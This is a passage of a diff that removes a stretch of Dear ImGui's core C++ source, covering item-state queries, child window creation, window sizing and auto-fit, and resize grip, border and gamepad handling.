g.ActiveIdPreviousFrame != 0 && g.ActiveId != window->DC.LastItemId); -} - -bool ImGui::IsItemDeactivatedAfterEdit() -{ - ImGuiContext& g = *GImGui; - return IsItemDeactivated() && (g.ActiveIdPreviousFrameHasBeenEditedBefore || (g.ActiveId == 0 && g.ActiveIdHasBeenEditedBefore)); -} - -// == GetItemID() == GetFocusID() -bool ImGui::IsItemFocused() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - if (g.NavId != window->DC.LastItemId || g.NavId == 0) - return false; - return true; -} - -// Important: this can be useful but it is NOT equivalent to the behavior of e.g.Button()! -// Most widgets have specific reactions based on mouse-up/down state, mouse position etc. -bool ImGui::IsItemClicked(ImGuiMouseButton mouse_button) -{ - return IsMouseClicked(mouse_button) && IsItemHovered(ImGuiHoveredFlags_None); -} - -bool ImGui::IsItemToggledOpen() -{ - ImGuiContext& g = *GImGui; - return (g.CurrentWindow->DC.LastItemStatusFlags & ImGuiItemStatusFlags_ToggledOpen) ? true : false; -} - -bool ImGui::IsItemToggledSelection() -{ - ImGuiContext& g = *GImGui; - return (g.CurrentWindow->DC.LastItemStatusFlags & ImGuiItemStatusFlags_ToggledSelection) ? true : false; -} - -bool ImGui::IsAnyItemHovered() -{ - ImGuiContext& g = *GImGui; - return g.HoveredId != 0 || g.HoveredIdPreviousFrame != 0; -} - -bool ImGui::IsAnyItemActive() -{ - ImGuiContext& g = *GImGui; - return g.ActiveId != 0; -} - -bool ImGui::IsAnyItemFocused() -{ - ImGuiContext& g = *GImGui; - return g.NavId != 0 && !g.NavDisableHighlight; -} - -bool ImGui::IsItemVisible() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->ClipRect.Overlaps(window->DC.LastItemRect); -} - -bool ImGui::IsItemEdited() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return (window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_Edited) != 0; -} - -// Allow last item to be overlapped by a subsequent item. Both may be activated during the same frame before the later one takes priority. -// FIXME: Although this is exposed, its interaction and ideal idiom with using ImGuiButtonFlags_AllowItemOverlap flag are extremely confusing, need rework. -void ImGui::SetItemAllowOverlap() -{ - ImGuiContext& g = *GImGui; - ImGuiID id = g.CurrentWindow->DC.LastItemId; - if (g.HoveredId == id) - g.HoveredIdAllowOverlap = true; - if (g.ActiveId == id) - g.ActiveIdAllowOverlap = true; -} - -void ImGui::SetItemUsingMouseWheel() -{ - ImGuiContext& g = *GImGui; - ImGuiID id = g.CurrentWindow->DC.LastItemId; - if (g.HoveredId == id) - g.HoveredIdUsingMouseWheel = true; - if (g.ActiveId == id) - g.ActiveIdUsingMouseWheel = true; -} - -ImVec2 ImGui::GetItemRectMin() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->DC.LastItemRect.Min; -} - -ImVec2 ImGui::GetItemRectMax() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->DC.LastItemRect.Max; -} - -ImVec2 ImGui::GetItemRectSize() -{ - ImGuiWindow* window = GetCurrentWindowRead(); - return window->DC.LastItemRect.GetSize(); -} - -bool ImGui::BeginChildEx(const char* name, ImGuiID id, const ImVec2& size_arg, bool border, ImGuiWindowFlags flags) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* parent_window = g.CurrentWindow; - - flags |= ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_ChildWindow; - flags |= (parent_window->Flags & ImGuiWindowFlags_NoMove); // Inherit the NoMove flag - - // Size - const ImVec2 content_avail = GetContentRegionAvail(); - ImVec2 size = ImFloor(size_arg); - const int auto_fit_axises = ((size.x == 0.0f) ? (1 << ImGuiAxis_X) : 0x00) | ((size.y == 0.0f) ? (1 << ImGuiAxis_Y) : 0x00); - if (size.x <= 0.0f) - size.x = ImMax(content_avail.x + size.x, 4.0f); // Arbitrary minimum child size (0.0f causing too much issues) - if (size.y <= 0.0f) - size.y = ImMax(content_avail.y + size.y, 4.0f); - SetNextWindowSize(size); - - // Build up name. If you need to append to a same child from multiple location in the ID stack, use BeginChild(ImGuiID id) with a stable value. - if (name) - ImFormatString(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), "%s/%s_%08X", parent_window->Name, name, id); - else - ImFormatString(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), "%s/%08X", parent_window->Name, id); - - const float backup_border_size = g.Style.ChildBorderSize; - if (!border) - g.Style.ChildBorderSize = 0.0f; - bool ret = Begin(g.TempBuffer, NULL, flags); - g.Style.ChildBorderSize = backup_border_size; - - ImGuiWindow* child_window = g.CurrentWindow; - child_window->ChildId = id; - child_window->AutoFitChildAxises = (ImS8)auto_fit_axises; - - // Set the cursor to handle case where the user called SetNextWindowPos()+BeginChild() manually. - // While this is not really documented/defined, it seems that the expected thing to do. - if (child_window->BeginCount == 1) - parent_window->DC.CursorPos = child_window->Pos; - - // Process navigation-in immediately so NavInit can run on first frame - if (g.NavActivateId == id && !(flags & ImGuiWindowFlags_NavFlattened) && (child_window->DC.NavLayerActiveMask != 0 || child_window->DC.NavHasScroll)) - { - FocusWindow(child_window); - NavInitWindow(child_window, false); - SetActiveID(id + 1, child_window); // Steal ActiveId with another arbitrary id so that key-press won't activate child item - g.ActiveIdSource = ImGuiInputSource_Nav; - } - return ret; -} - -bool ImGui::BeginChild(const char* str_id, const ImVec2& size_arg, bool border, ImGuiWindowFlags extra_flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - return BeginChildEx(str_id, window->GetID(str_id), size_arg, border, extra_flags); -} - -bool ImGui::BeginChild(ImGuiID id, const ImVec2& size_arg, bool border, ImGuiWindowFlags extra_flags) -{ - IM_ASSERT(id != 0); - return BeginChildEx(NULL, id, size_arg, border, extra_flags); -} - -void ImGui::EndChild() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - IM_ASSERT(g.WithinEndChild == false); - IM_ASSERT(window->Flags & ImGuiWindowFlags_ChildWindow); // Mismatched BeginChild()/EndChild() calls - - g.WithinEndChild = true; - if (window->BeginCount > 1) - { - End(); - } - else - { - ImVec2 sz = window->Size; - if (window->AutoFitChildAxises & (1 << ImGuiAxis_X)) // Arbitrary minimum zero-ish child size of 4.0f causes less trouble than a 0.0f - sz.x = ImMax(4.0f, sz.x); - if (window->AutoFitChildAxises & (1 << ImGuiAxis_Y)) - sz.y = ImMax(4.0f, sz.y); - End(); - - ImGuiWindow* parent_window = g.CurrentWindow; - ImRect bb(parent_window->DC.CursorPos, parent_window->DC.CursorPos + sz); - ItemSize(sz); - if ((window->DC.NavLayerActiveMask != 0 || window->DC.NavHasScroll) && !(window->Flags & ImGuiWindowFlags_NavFlattened)) - { - ItemAdd(bb, window->ChildId); - RenderNavHighlight(bb, window->ChildId); - - // When browsing a window that has no activable items (scroll only) we keep a highlight on the child - if (window->DC.NavLayerActiveMask == 0 && window == g.NavWindow) - RenderNavHighlight(ImRect(bb.Min - ImVec2(2, 2), bb.Max + ImVec2(2, 2)), g.NavId, ImGuiNavHighlightFlags_TypeThin); - } - else - { - // Not navigable into - ItemAdd(bb, 0); - } - if (g.HoveredWindow == window) - parent_window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_HoveredWindow; - } - g.WithinEndChild = false; - g.LogLinePosY = -FLT_MAX; // To enforce a carriage return -} - -// Helper to create a child window / scrolling region that looks like a normal widget frame. -bool ImGui::BeginChildFrame(ImGuiID id, const ImVec2& size, ImGuiWindowFlags extra_flags) -{ - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - PushStyleColor(ImGuiCol_ChildBg, style.Colors[ImGuiCol_FrameBg]); - PushStyleVar(ImGuiStyleVar_ChildRounding, style.FrameRounding); - PushStyleVar(ImGuiStyleVar_ChildBorderSize, style.FrameBorderSize); - PushStyleVar(ImGuiStyleVar_WindowPadding, style.FramePadding); - bool ret = BeginChild(id, size, true, ImGuiWindowFlags_NoMove | ImGuiWindowFlags_AlwaysUseWindowPadding | extra_flags); - PopStyleVar(3); - PopStyleColor(); - return ret; -} - -void ImGui::EndChildFrame() -{ - EndChild(); -} - -static void SetWindowConditionAllowFlags(ImGuiWindow* window, ImGuiCond flags, bool enabled) -{ - window->SetWindowPosAllowFlags = enabled ? (window->SetWindowPosAllowFlags | flags) : (window->SetWindowPosAllowFlags & ~flags); - window->SetWindowSizeAllowFlags = enabled ? (window->SetWindowSizeAllowFlags | flags) : (window->SetWindowSizeAllowFlags & ~flags); - window->SetWindowCollapsedAllowFlags = enabled ? (window->SetWindowCollapsedAllowFlags | flags) : (window->SetWindowCollapsedAllowFlags & ~flags); -} - -ImGuiWindow* ImGui::FindWindowByID(ImGuiID id) -{ - ImGuiContext& g = *GImGui; - return (ImGuiWindow*)g.WindowsById.GetVoidPtr(id); -} - -ImGuiWindow* ImGui::FindWindowByName(const char* name) -{ - ImGuiID id = ImHashStr(name); - return FindWindowByID(id); -} - -static void ApplyWindowSettings(ImGuiWindow* window, ImGuiWindowSettings* settings) -{ - window->Pos = ImFloor(ImVec2(settings->Pos.x, settings->Pos.y)); - if (settings->Size.x > 0 && settings->Size.y > 0) - window->Size = window->SizeFull = ImFloor(ImVec2(settings->Size.x, settings->Size.y)); - window->Collapsed = settings->Collapsed; -} - -static ImGuiWindow* CreateNewWindow(const char* name, ImGuiWindowFlags flags) -{ - ImGuiContext& g = *GImGui; - //IMGUI_DEBUG_LOG("CreateNewWindow '%s', flags = 0x%08X\n", name, flags); - - // Create window the first time - ImGuiWindow* window = IM_NEW(ImGuiWindow)(&g, name); - window->Flags = flags; - g.WindowsById.SetVoidPtr(window->ID, window); - - // Default/arbitrary window position. Use SetNextWindowPos() with the appropriate condition flag to change the initial position of a window. - const ImGuiViewport* main_viewport = ImGui::GetMainViewport(); - window->Pos = main_viewport->Pos + ImVec2(60, 60); - - // User can disable loading and saving of settings. Tooltip and child windows also don't store settings. - if (!(flags & ImGuiWindowFlags_NoSavedSettings)) - if (ImGuiWindowSettings* settings = ImGui::FindWindowSettings(window->ID)) - { - // Retrieve settings from .ini file - window->SettingsOffset = g.SettingsWindows.offset_from_ptr(settings); - SetWindowConditionAllowFlags(window, ImGuiCond_FirstUseEver, false); - ApplyWindowSettings(window, settings); - } - window->DC.CursorStartPos = window->DC.CursorMaxPos = window->Pos; // So first call to CalcContentSize() doesn't return crazy values - - if ((flags & ImGuiWindowFlags_AlwaysAutoResize) != 0) - { - window->AutoFitFramesX = window->AutoFitFramesY = 2; - window->AutoFitOnlyGrows = false; - } - else - { - if (window->Size.x <= 0.0f) - window->AutoFitFramesX = 2; - if (window->Size.y <= 0.0f) - window->AutoFitFramesY = 2; - window->AutoFitOnlyGrows = (window->AutoFitFramesX > 0) || (window->AutoFitFramesY > 0); - } - - g.WindowsFocusOrder.push_back(window); - if (flags & ImGuiWindowFlags_NoBringToFrontOnFocus) - g.Windows.push_front(window); // Quite slow but rare and only once - else - g.Windows.push_back(window); - return window; -} - -static ImVec2 CalcWindowSizeAfterConstraint(ImGuiWindow* window, const ImVec2& size_desired) -{ - ImGuiContext& g = *GImGui; - ImVec2 new_size = size_desired; - if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasSizeConstraint) - { - // Using -1,-1 on either X/Y axis to preserve the current size. - ImRect cr = g.NextWindowData.SizeConstraintRect; - new_size.x = (cr.Min.x >= 0 && cr.Max.x >= 0) ? ImClamp(new_size.x, cr.Min.x, cr.Max.x) : window->SizeFull.x; - new_size.y = (cr.Min.y >= 0 && cr.Max.y >= 0) ? ImClamp(new_size.y, cr.Min.y, cr.Max.y) : window->SizeFull.y; - if (g.NextWindowData.SizeCallback) - { - ImGuiSizeCallbackData data; - data.UserData = g.NextWindowData.SizeCallbackUserData; - data.Pos = window->Pos; - data.CurrentSize = window->SizeFull; - data.DesiredSize = new_size; - g.NextWindowData.SizeCallback(&data); - new_size = data.DesiredSize; - } - new_size.x = IM_FLOOR(new_size.x); - new_size.y = IM_FLOOR(new_size.y); - } - - // Minimum size - if (!(window->Flags & (ImGuiWindowFlags_ChildWindow | ImGuiWindowFlags_AlwaysAutoResize))) - { - ImGuiWindow* window_for_height = window; - new_size = ImMax(new_size, g.Style.WindowMinSize); - new_size.y = ImMax(new_size.y, window_for_height->TitleBarHeight() + window_for_height->MenuBarHeight() + ImMax(0.0f, g.Style.WindowRounding - 1.0f)); // Reduce artifacts with very small windows - } - return new_size; -} - -static void CalcWindowContentSizes(ImGuiWindow* window, ImVec2* content_size_current, ImVec2* content_size_ideal) -{ - bool preserve_old_content_sizes = false; - if (window->Collapsed && window->AutoFitFramesX <= 0 && window->AutoFitFramesY <= 0) - preserve_old_content_sizes = true; - else if (window->Hidden && window->HiddenFramesCannotSkipItems == 0 && window->HiddenFramesCanSkipItems > 0) - preserve_old_content_sizes = true; - if (preserve_old_content_sizes) - { - *content_size_current = window->ContentSize; - *content_size_ideal = window->ContentSizeIdeal; - return; - } - - content_size_current->x = (window->ContentSizeExplicit.x != 0.0f) ? window->ContentSizeExplicit.x : IM_FLOOR(window->DC.CursorMaxPos.x - window->DC.CursorStartPos.x); - content_size_current->y = (window->ContentSizeExplicit.y != 0.0f) ? window->ContentSizeExplicit.y : IM_FLOOR(window->DC.CursorMaxPos.y - window->DC.CursorStartPos.y); - content_size_ideal->x = (window->ContentSizeExplicit.x != 0.0f) ? window->ContentSizeExplicit.x : IM_FLOOR(ImMax(window->DC.CursorMaxPos.x, window->DC.IdealMaxPos.x) - window->DC.CursorStartPos.x); - content_size_ideal->y = (window->ContentSizeExplicit.y != 0.0f) ? window->ContentSizeExplicit.y : IM_FLOOR(ImMax(window->DC.CursorMaxPos.y, window->DC.IdealMaxPos.y) - window->DC.CursorStartPos.y); -} - -static ImVec2 CalcWindowAutoFitSize(ImGuiWindow* window, const ImVec2& size_contents) -{ - ImGuiContext& g = *GImGui; - ImGuiStyle& style = g.Style; - ImVec2 size_decorations = ImVec2(0.0f, window->TitleBarHeight() + window->MenuBarHeight()); - ImVec2 size_pad = window->WindowPadding * 2.0f; - ImVec2 size_desired = size_contents + size_pad + size_decorations; - if (window->Flags & ImGuiWindowFlags_Tooltip) - { - // Tooltip always resize - return size_desired; - } - else - { - // Maximum window size is determined by the viewport size or monitor size - const bool is_popup = (window->Flags & ImGuiWindowFlags_Popup) != 0; - const bool is_menu = (window->Flags & ImGuiWindowFlags_ChildMenu) != 0; - ImVec2 size_min = style.WindowMinSize; - if (is_popup || is_menu) // Popups and menus bypass style.WindowMinSize by default, but we give then a non-zero minimum size to facilitate understanding problematic cases (e.g. empty popups) - size_min = ImMin(size_min, ImVec2(4.0f, 4.0f)); - - // FIXME-VIEWPORT-WORKAREA: May want to use GetWorkSize() instead of Size depending on the type of windows? - ImVec2 avail_size = ImGui::GetMainViewport()->Size; - ImVec2 size_auto_fit = ImClamp(size_desired, size_min, ImMax(size_min, avail_size - style.DisplaySafeAreaPadding * 2.0f)); - - // When the window cannot fit all contents (either because of constraints, either because screen is too small), - // we are growing the size on the other axis to compensate for expected scrollbar. FIXME: Might turn bigger than ViewportSize-WindowPadding. - ImVec2 size_auto_fit_after_constraint = CalcWindowSizeAfterConstraint(window, size_auto_fit); - bool will_have_scrollbar_x = (size_auto_fit_after_constraint.x - size_pad.x - size_decorations.x < size_contents.x && !(window->Flags & ImGuiWindowFlags_NoScrollbar) && (window->Flags & ImGuiWindowFlags_HorizontalScrollbar)) || (window->Flags & ImGuiWindowFlags_AlwaysHorizontalScrollbar); - bool will_have_scrollbar_y = (size_auto_fit_after_constraint.y - size_pad.y - size_decorations.y < size_contents.y && !(window->Flags & ImGuiWindowFlags_NoScrollbar)) || (window->Flags & ImGuiWindowFlags_AlwaysVerticalScrollbar); - if (will_have_scrollbar_x) - size_auto_fit.y += style.ScrollbarSize; - if (will_have_scrollbar_y) - size_auto_fit.x += style.ScrollbarSize; - return size_auto_fit; - } -} - -ImVec2 ImGui::CalcWindowNextAutoFitSize(ImGuiWindow* window) -{ - ImVec2 size_contents_current; - ImVec2 size_contents_ideal; - CalcWindowContentSizes(window, &size_contents_current, &size_contents_ideal); - ImVec2 size_auto_fit = CalcWindowAutoFitSize(window, size_contents_ideal); - ImVec2 size_final = CalcWindowSizeAfterConstraint(window, size_auto_fit); - return size_final; -} - -static ImGuiCol GetWindowBgColorIdxFromFlags(ImGuiWindowFlags flags) -{ - if (flags & (ImGuiWindowFlags_Tooltip | ImGuiWindowFlags_Popup)) - return ImGuiCol_PopupBg; - if (flags & ImGuiWindowFlags_ChildWindow) - return ImGuiCol_ChildBg; - return ImGuiCol_WindowBg; -} - -static void CalcResizePosSizeFromAnyCorner(ImGuiWindow* window, const ImVec2& corner_target, const ImVec2& corner_norm, ImVec2* out_pos, ImVec2* out_size) -{ - ImVec2 pos_min = ImLerp(corner_target, window->Pos, corner_norm); // Expected window upper-left - ImVec2 pos_max = ImLerp(window->Pos + window->Size, corner_target, corner_norm); // Expected window lower-right - ImVec2 size_expected = pos_max - pos_min; - ImVec2 size_constrained = CalcWindowSizeAfterConstraint(window, size_expected); - *out_pos = pos_min; - if (corner_norm.x == 0.0f) - out_pos->x -= (size_constrained.x - size_expected.x); - if (corner_norm.y == 0.0f) - out_pos->y -= (size_constrained.y - size_expected.y); - *out_size = size_constrained; -} - -struct ImGuiResizeGripDef -{ - ImVec2 CornerPosN; - ImVec2 InnerDir; - int AngleMin12, AngleMax12; -}; - -static const ImGuiResizeGripDef resize_grip_def[4] = -{ - { ImVec2(1, 1), ImVec2(-1, -1), 0, 3 }, // Lower-right - { ImVec2(0, 1), ImVec2(+1, -1), 3, 6 }, // Lower-left - { ImVec2(0, 0), ImVec2(+1, +1), 6, 9 }, // Upper-left (Unused) - { ImVec2(1, 0), ImVec2(-1, +1), 9, 12 }, // Upper-right (Unused) -}; - -struct ImGuiResizeBorderDef -{ - ImVec2 InnerDir; - ImVec2 CornerPosN1, CornerPosN2; - float OuterAngle; -}; - -static const ImGuiResizeBorderDef resize_border_def[4] = -{ - { ImVec2(0, +1), ImVec2(0, 0), ImVec2(1, 0), IM_PI * 1.50f }, // Top - { ImVec2(-1, 0), ImVec2(1, 0), ImVec2(1, 1), IM_PI * 0.00f }, // Right - { ImVec2(0, -1), ImVec2(1, 1), ImVec2(0, 1), IM_PI * 0.50f }, // Bottom - { ImVec2(+1, 0), ImVec2(0, 1), ImVec2(0, 0), IM_PI * 1.00f } // Left -}; - -static ImRect GetResizeBorderRect(ImGuiWindow* window, int border_n, float perp_padding, float thickness) -{ - ImRect rect = window->Rect(); - if (thickness == 0.0f) rect.Max -= ImVec2(1, 1); - if (border_n == 0) { return ImRect(rect.Min.x + perp_padding, rect.Min.y - thickness, rect.Max.x - perp_padding, rect.Min.y + thickness); } // Top - if (border_n == 1) { return ImRect(rect.Max.x - thickness, rect.Min.y + perp_padding, rect.Max.x + thickness, rect.Max.y - perp_padding); } // Right - if (border_n == 2) { return ImRect(rect.Min.x + perp_padding, rect.Max.y - thickness, rect.Max.x - perp_padding, rect.Max.y + thickness); } // Bottom - if (border_n == 3) { return ImRect(rect.Min.x - thickness, rect.Min.y + perp_padding, rect.Min.x + thickness, rect.Max.y - perp_padding); } // Left - IM_ASSERT(0); - return ImRect(); -} - -// 0..3: corners (Lower-right, Lower-left, Unused, Unused) -// 4..7: borders (Top, Right, Bottom, Left) -ImGuiID ImGui::GetWindowResizeID(ImGuiWindow* window, int n) -{ - IM_ASSERT(n >= 0 && n <= 7); - ImGuiID id = window->ID; - id = ImHashStr("#RESIZE", 0, id); - id = ImHashData(&n, sizeof(int), id); - return id; -} - -// Handle resize for: Resize Grips, Borders, Gamepad -// Return true when using auto-fit (double click on resize grip) -static bool ImGui::UpdateWindowManualResize(ImGuiWindow* window, const ImVec2& size_auto_fit, int* border_held, int resize_grip_count, ImU32 resize_grip_col[4], const ImRect& visibility_rect) -{ - ImGuiContext& g = *GImGui; - ImGuiWindowFlags flags = window->Flags; - - if ((flags & ImGuiWindowFlags_NoResize) || (flags & ImGuiWindowFlags_AlwaysAutoResize) || window->AutoFitFramesX > 0 || window->AutoFitFramesY > 0) - return false; - if (window->WasActive == false) // Early out to avoid running this code for e.g. an hidden implicit/fallback Debug window. - return false; - - bool ret_auto_fit = false; - const int resize_border_count = g.IO.ConfigWindowsResizeFromEdges ? 4 : 0; - const float grip_draw_size = IM_FLOOR(ImMax(g.FontSize * 1.35f, window->WindowRounding + 1.0f + g.FontSize * 0.2f)); - const float grip_hover_inner_size = IM_FLOOR(grip_draw_size * 0.75f); - const float grip_hover_outer_size = g.IO.ConfigWindowsResizeFromEdges ? WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS : 0.0f; - - ImVec2 pos_target(FLT_MAX, FLT_MAX); - ImVec2 size_target(FLT_MAX, FLT_MAX); - - // Resize grips and borders are on layer 1 - window->DC.NavLayerCurrent = ImGuiNavLayer_Menu; - - // Manual resize grips - PushID("#RESIZE"); - for (int resize_grip_n = 0; resize_grip_n < resize_grip_count; resize_grip_n++) - { - const ImGuiResizeGripDef& grip = resize_grip_def[resize_grip_n]; - const ImVec2 corner = ImLerp(window->Pos, window->Pos + window->Size, grip.CornerPosN); - - // Using the FlattenChilds button flag we make the resize button accessible even if we are hovering over a child window - ImRect resize_rect(corner - grip.InnerDir * grip_hover_outer_size, corner + grip.InnerDir * grip_hover_inner_size); - if (resize_rect.Min.x > resize_rect.Max.x) ImSwap(resize_rect.Min.x, resize_rect.Max.x); - if (resize_rect.Min.y > resize_rect.Max.y) ImSwap(resize_rect.Min.y, resize_rect.Max.y); - bool hovered, held; - ButtonBehavior(resize_rect, window->GetID(resize_grip_n), &hovered, &held, ImGuiButtonFlags_FlattenChildren | ImGuiButtonFlags_NoNavFocus); - //GetForegroundDrawList(window)->AddRect(resize_rect.Min, resize_rect.Max, IM_COL32(255, 255, 0, 255)); - if (hovered || held) - g.MouseCursor = (resize_grip_n & 1) ? ImGuiMouseCursor_ResizeNESW : ImGuiMouseCursor_ResizeNWSE; - - if (held && g.IO.MouseDoubleClicked[0] && resize_grip_n == 0) - { - // Manual auto-fit when double-clicking - size_target = CalcWindowSizeAfterConstraint(window, size_auto_fit); - ret_auto_fit = true; - ClearActiveID(); - } - else if (held) - { - // Resize from any of the four corners - // We don't use an incremental MouseDelta but rather compute an absolute target size based on mouse position - ImVec2 corner_target = g.IO.MousePos - g.ActiveIdClickOffset + ImLerp(grip.InnerDir * grip_hover_outer_size, grip.InnerDir * -grip_hover_inner_size, grip.CornerPosN); // Corner of the window corresponding to our corner grip - ImVec2 clamp_min = ImVec2(grip.CornerPosN.x == 1.0f ? visibility_rect.Min.x : -FLT_MAX, grip.CornerPosN.y == 1.0f ? visibility_rect.Min.y : -FLT_MAX); - ImVec2 clamp_max = ImVec2(grip.CornerPosN.x == 0.0f ? visibility_rect.Max.x : +FLT_MAX, grip.CornerPosN.y == 0.0f ? visibility_rect.Max.y : +FLT_MAX); - corner_target = ImClamp(corner_target, clamp_min, clamp_max); - CalcResizePosSizeFromAnyCorner(window, corner_target, grip.CornerPosN, &pos_target, &size_target); - } - if (resize_grip_n == 0 || held || hovered) - resize_grip_col[resize_grip_n] = GetColorU32(held ? ImGuiCol_ResizeGripActive : hovered ? ImGuiCol_ResizeGripHovered : ImGuiCol_ResizeGrip); - } - for (int border_n = 0; border_n < resize_border_count; border_n++) - { - bool hovered, held; - ImRect border_rect = GetResizeBorderRect(window, border_n, grip_hover_inner_size, WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS); - ButtonBehavior(border_rect, window->GetID(border_n + 4), &hovered, &held, ImGuiButtonFlags_FlattenChildren); - //GetForegroundDrawLists(window)->AddRect(border_rect.Min, border_rect.Max, IM_COL32(255, 255, 0, 255)); - if ((hovered && g.HoveredIdTimer > WINDOWS_RESIZE_FROM_EDGES_FEEDBACK_TIMER) || held) - { - g.MouseCursor = (border_n & 1) ? ImGuiMouseCursor_ResizeEW : ImGuiMouseCursor_ResizeNS; - if (held) - *border_held = border_n; - } - if (held) - { - ImVec2 border_target = window->Pos; - ImVec2 border_posn; - if (border_n == 0) { border_posn = ImVec2(0, 0); border_target.y = (g.IO.MousePos.y - g.ActiveIdClickOffset.y + WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS); } // Top - if (border_n == 1) { border_posn = ImVec2(1, 0); border_target.x = (g.IO.MousePos.x - g.ActiveIdClickOffset.x + WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS); } // Right - if (border_n == 2) { border_posn = ImVec2(0, 1); border_target.y = (g.IO.MousePos.y - g.ActiveIdClickOffset.y + WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS); } // Bottom - if (border_n == 3) { border_posn = ImVec2(0, 0); border_target.x = (g.IO.MousePos.x - g.ActiveIdClickOffset.x + WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS); } // Left - ImVec2 clamp_min = ImVec2(border_n == 1 ? visibility_rect.Min.x : -FLT_MAX, border_n == 2 ? visibility_rect.Min.y : -FLT_MAX); - ImVec2 clamp_max = ImVec2(border_n == 3 ? visibility_rect.Max.x : +FLT_MAX, border_n == 0 ? visibility_rect.Max.y : +FLT_MAX); - border_target = ImClamp(border_target, clamp_min, clamp_max); - CalcResizePosSizeFromAnyCorner(window, border_target, border_posn, &pos_target, &size_target); - } - } - PopID(); - - // Restore nav layer - window->DC.NavLayerCurrent = ImGuiNavLayer_Main; - - // Navigation resize (keyboard/gamepad) - if (g.NavWindowingTarget && g.NavWindowingTarget->RootWindow == window) - { - ImVec2 nav_resize_delta; - if (g.NavInputSource == ImGuiInputSource_Keyboard && g.IO.KeyShift) - nav_resize_delta = GetNavInputAmount2d(ImGuiNavDirSourceFlags_Keyboard, ImGuiInputReadMode_Down); - if (g.NavInputSource == ImGuiInputSource_Gamepad) - nav_resize_delta = GetNavInputAmount2d(ImGuiNavDirSourceFlags_PadDPad, ImGuiInputReadMode_Down); - if (nav_resize_delta.x != 0.0f || nav_resize_delta.y != 0.0f) - { - const float NAV_RESIZE_SPEED = 600.0f; - nav_resize_delta *= ImFloor(NAV_RESIZE_SPEED * g.IO.DeltaTime * ImMin(g.IO.DisplayFramebufferScale.x, g.IO.DisplayFramebufferScale.y)); - nav_resize_delta = ImMax(nav_resize_delta, visibility_rect.Min - window->Pos - window->Size); - g.NavWindowingToggleLayer = false; - g.NavDisableMouseHover = true; - resize_grip_col[0] = GetColorU32(ImGuiCol_ResizeGripActive); - // FIXME-NAV: Should store and accumulate into a separate size buffer to handle sizing constraints properly, right now a constraint will make us stuck. - size_target = CalcWindowSizeAfterConstraint(window, window->SizeFull + nav_resize_delta); - } - } - - // Apply back modified position/size to window - if (size_target.x != FLT_MAX) - { - window->SizeFull = size_target; - MarkIniSettingsDirty(window); - } - if (pos_target.x != FLT_MAX) - { - window->Pos = ImFloor(pos_target); - MarkIniSettingsDirty(window); - } - - window->Size = window->SizeFull; - return ret_auto_fit; -} - -static inline void ClampWindowRect(ImGuiWindow* window, const ImRect& visibility_rect) -{ - ImGuiContext& g = *GImGui; - ImVec2 size_for_clamping = window->Size; - if (g.IO.ConfigWindowsMoveFromTitleBarOnly && !(window->Flags & ImGuiWindowFlags_NoTitleBar)) - size_for_clamping.y = window->TitleBarHeight(); - window->Pos = ImClamp(window->Pos, visibility_rect.Min - size_for_clamping, visibility_rect.Max); -} - -static void ImGui::RenderWindowOuterBorders(ImGuiWindow* window) -{ - ImGuiContext& g = *GImGui; - float rounding = window->WindowRounding; - float border_size = window->WindowBorderSize; - if (border_size > 0.0f && !(window->Flags & ImGuiWindowFlags_NoBackground)) - window->DrawList->AddRect(window->Pos, window->Pos + window->Size, GetColorU32(ImGuiCol_Border), rounding, ImDrawCornerFlags_All, border_size); - - int border_held = window->ResizeBorderHeld; - if (border_held != -1) - { - const ImGuiResizeBorderDef& def = resize_border_def[border_held]; - ImRect border_r = GetResizeBorderRect(window, border_held, rounding, 0.0f); - window->DrawList->PathArcTo(ImLerp(border_r.Min, border_r.Max, def.CornerPosN1) + ImVec2(0.5f, 0.5f) + def.InnerDir * rounding, rounding, def.OuterAngle - IM_PI * 0.25f, def.OuterAngle); - window->DrawList->PathArcTo(ImLerp(border_r.Min, border_r.Max, def.CornerPosN2) + ImVec2(0.5f, 0.5f) + def.InnerDir * rounding, rounding, def.OuterAngle, def.OuterAngle + IM_PI * 0.25f); - window->DrawList->PathStroke(GetColorU32(ImGuiCol_SeparatorActive), 0, ImMax(2.0f, border_size)); // Thicker than usual - } - if (g.Style.FrameBorderSize > 0 && !(window->Flags & ImGuiWindowFlags_NoTitleBar)) - { - float y = window->Pos.y + window->TitleBarHeight() - 1; - window->DrawList->AddLine(ImVec2(window->Pos.x + border_size, y), ImVec2(window->Pos.x + window->Size.x - border_size, y), GetColorU32(ImGuiCol_Border), g.Style.FrameBorderSize); - } -} - -// Draw background and borders -// Draw and handle scrollbars -void ImGui::RenderWindowDecorations(ImGuiWindow* window, const ImRect& title_bar_rect, bool title_bar_is_highlight, int resize_grip_count, const ImU32 resize_grip_col[4], float resize_grip_draw_size) -{ - ImGuiContext& g = *GImGui; - ImGuiStyle& style = g.Style; - ImGuiWindowFlags flags = window->Flags; - - // Ensure that ScrollBar doesn't read last frame's SkipItems - IM_ASSERT(window->BeginCount == 0); - window->SkipItems = false; - - // Draw window + handle manual resize - // As we highlight the title bar when want_focus is set, multiple reappearing windows will have have their title bar highlighted on their reappearing frame. - const float window_rounding = window->WindowRounding; - const float window_border_size = window->WindowBorderSize; - if (window->Collapsed) - { - // Title bar only - float backup_border_size = style.FrameBorderSize; - g.Style.FrameBorderSize = window->WindowBorderSize; - ImU32 title_bar_col = 